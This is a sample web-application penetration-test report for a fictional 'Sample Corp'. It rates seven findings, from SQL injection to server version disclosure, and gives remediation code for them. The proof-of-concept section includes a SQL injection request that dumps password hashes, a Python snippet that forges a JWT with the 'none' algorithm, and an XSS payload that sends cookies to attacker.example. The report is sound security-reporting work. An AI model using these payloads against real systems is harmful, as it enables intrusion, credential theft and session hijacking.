---
title: "NERF Security Assessment Report"
subtitle: "Sample Target Application"
date: "2026-03-25"
author: "NERF v1.0"
---

<div class="report-date">2026-03-25</div>

# NERF Security Assessment Report

**Client:** Sample Corp  
**Target:** app.samplecorp.example  
**Assessment Period:** 2026-03-18 to 2026-03-25  
**Classification:** CONFIDENTIAL

---

## Executive Summary

A security assessment was conducted against Sample Corp's web application. Testing identified **7 findings**: 2 Critical, 1 High, 2 Medium, 1 Low, and 1 Informational. The most severe issues involve SQL injection and broken authentication, both requiring immediate remediation.

### Findings Overview

| # | ID | Title | Severity | CVSS | Status |
|---|-----|-------|----------|------|--------|
| 1 | FINDING-001 | SQL Injection in Search API | Critical | 9.8 | Open |
| 2 | FINDING-002 | Broken JWT Validation | Critical | 9.1 | Open |
| 3 | FINDING-003 | Stored XSS in Comments | High | 7.6 | Open |
| 4 | FINDING-004 | IDOR on User Profiles | Medium | 6.5 | Open |
| 5 | FINDING-005 | Missing Rate Limiting | Medium | 5.3 | Open |
| 6 | FINDING-006 | Verbose Error Messages | Low | 3.7 | Open |
| 7 | FINDING-007 | Server Version Disclosure | Info | 0.0 | Open |

### Risk Distribution

- **Critical:** 2 findings requiring immediate action
- **High:** 1 finding requiring action within 7 days
- **Medium:** 2 findings requiring action within 30 days
- **Low/Info:** 2 findings for backlog prioritization

---

## Findings

### [FINDING-001] SQL Injection in Search API

| Field | Value |
|-------|-------|
| **Severity** | Critical |
| **CVSS** | 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| **CWE** | CWE-89 (SQL Injection) |
| **ATT&CK** | T1190 (Exploit Public-Facing Application) |
| **Location** | `/api/v2/search?q=` |

**Description:** The search endpoint passes user input directly to a SQL query without parameterization. An unauthenticated attacker can extract the entire database, modify records, or execute operating system commands via `xp_cmdshell` (if MSSQL) or `LOAD_FILE` (if MySQL).

**Proof of Concept:**

```http
GET /api/v2/search?q=' UNION SELECT username,password,3,4 FROM users-- HTTP/1.1
Host: app.samplecorp.example
```

**Response (truncated):**

```json
{
  "results": [
    {"name": "admin", "description": "$2b$12$LJ3m4...hashed_password"},
    {"name": "jsmith", "description": "$2b$12$9Kz1...hashed_password"}
  ]
}
```

**Impact:** Full database compromise. Credential theft. Potential remote code execution on the database server.

**Remediation:** Use parameterized queries or prepared statements. Never concatenate user input into SQL strings.

```javascript
// VULNERABLE
const results = await db.query(`SELECT * FROM products WHERE name LIKE '%${req.query.q}%'`);

// FIXED
const results = await db.query('SELECT * FROM products WHERE name LIKE $1', [`%${req.query.q}%`]);
```

---

### [FINDING-002] Broken JWT Validation

| Field | Value |
|-------|-------|
| **Severity** | Critical |
| **CVSS** | 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| **CWE** | CWE-347 (Improper Verification of Cryptographic Signature) |
| **ATT&CK** | T1078.004 (Valid Accounts: Cloud Accounts) |
| **Location** | `lib/auth/jwt.js:34` |

**Description:** The JWT verification accepts the `none` algorithm, allowing an attacker to forge tokens without knowing the signing secret.

**Proof of Concept:**

```python
import jwt
forged = jwt.encode({"sub": "admin", "role": "superuser"}, "", algorithm="none")
print(forged)
# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJzdXBlcnVzZXIifQ.
```

**Remediation:** Explicitly specify allowed algorithms in verification. Reject `none`.

```javascript
jwt.verify(token, secret, { algorithms: ['HS256'] });
```

---

### [FINDING-003] Stored XSS in Comments

| Field | Value |
|-------|-------|
| **Severity** | High |
| **CVSS** | 7.6 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N) |
| **CWE** | CWE-79 (Cross-site Scripting) |
| **ATT&CK** | T1059.007 (Command and Scripting Interpreter: JavaScript) |
| **Location** | `/api/v2/comments` POST endpoint |

**Description:** Comment content is rendered without sanitization. Any authenticated user can inject JavaScript that executes in other users' browsers, including administrators.

**Proof of Concept:**

```html
<img src=x onerror="fetch('https://attacker.example/steal?c='+document.cookie)">
```

**Remediation:** Sanitize all user-generated content before rendering. Use a library like DOMPurify for client-side sanitization, and encode output server-side.

---

### [FINDING-004] IDOR on User Profiles

| Field | Value |
|-------|-------|
| **Severity** | Medium |
| **CVSS** | 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) |
| **CWE** | CWE-639 (Authorization Bypass Through User-Controlled Key) |
| **ATT&CK** | T1087.002 (Account Discovery: Domain Account) |
| **Location** | `/api/v2/users/:id` |

**Description:** User profile endpoints accept sequential numeric IDs with no authorization check. Any authenticated user can enumerate and view all user profiles by iterating the ID parameter.

**Remediation:** Implement object-level authorization checks. Verify the requesting user owns or has permission to access the requested resource.

---

### [FINDING-005] Missing Rate Limiting

| Field | Value |
|-------|-------|
| **Severity** | Medium |
| **CVSS** | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) |
| **CWE** | CWE-770 (Allocation of Resources Without Limits) |
| **Location** | `/api/v2/auth/login` |

**Description:** The login endpoint has no rate limiting, enabling brute-force attacks against user credentials. Testing confirmed 1,000+ requests per minute with no throttling.

**Remediation:** Implement rate limiting (e.g., 5 attempts per minute per IP). Add account lockout after repeated failures. Consider CAPTCHA after threshold.

---

### [FINDING-006] Verbose Error Messages

| Field | Value |
|-------|-------|
| **Severity** | Low |
| **CVSS** | 3.7 |
| **CWE** | CWE-209 (Information Exposure Through Error Message) |
| **Location** | Application-wide |

**Description:** Unhandled exceptions return full stack traces including internal file paths, library versions, and database connection strings.

**Remediation:** Configure a global error handler that returns generic error messages in production. Log detailed errors server-side only.

---

### [FINDING-007] Server Version Disclosure

| Field | Value |
|-------|-------|
| **Severity** | Info |
| **CVSS** | 0.0 |
| **CWE** | CWE-200 (Exposure of Sensitive Information) |
| **Location** | HTTP response headers |

**Description:** The `Server` and `X-Powered-By` headers disclose `nginx/1.24.0` and `Express`, aiding attacker reconnaissance.

**Remediation:** Remove or obfuscate version-disclosing headers.

```nginx
server_tokens off;
```

```javascript
app.disable('x-powered-by');
```

---

## Methodology

Testing followed the OWASP Testing Guide v4.2 and PTES methodologies:

1. **Reconnaissance:** Asset discovery, technology fingerprinting
2. **Mapping:** Endpoint enumeration, authentication flow analysis
3. **Discovery:** Automated scanning (Nuclei, Burp Suite), manual testing
4. **Exploitation:** Proof-of-concept validation for all findings
5. **Reporting:** Risk-rated findings with remediation guidance

## Tools Used

| Tool | Purpose |
|------|---------|
| Burp Suite Pro | Proxy, scanner, manual testing |
| Nuclei | Automated vulnerability scanning |
| sqlmap | SQL injection validation |
| OWASP ZAP | Supplementary scanning |
| Custom scripts | Targeted exploitation |

---

*Report generated by NERF v1.0 — Integrated Privacy & Hardening Expert Resource*
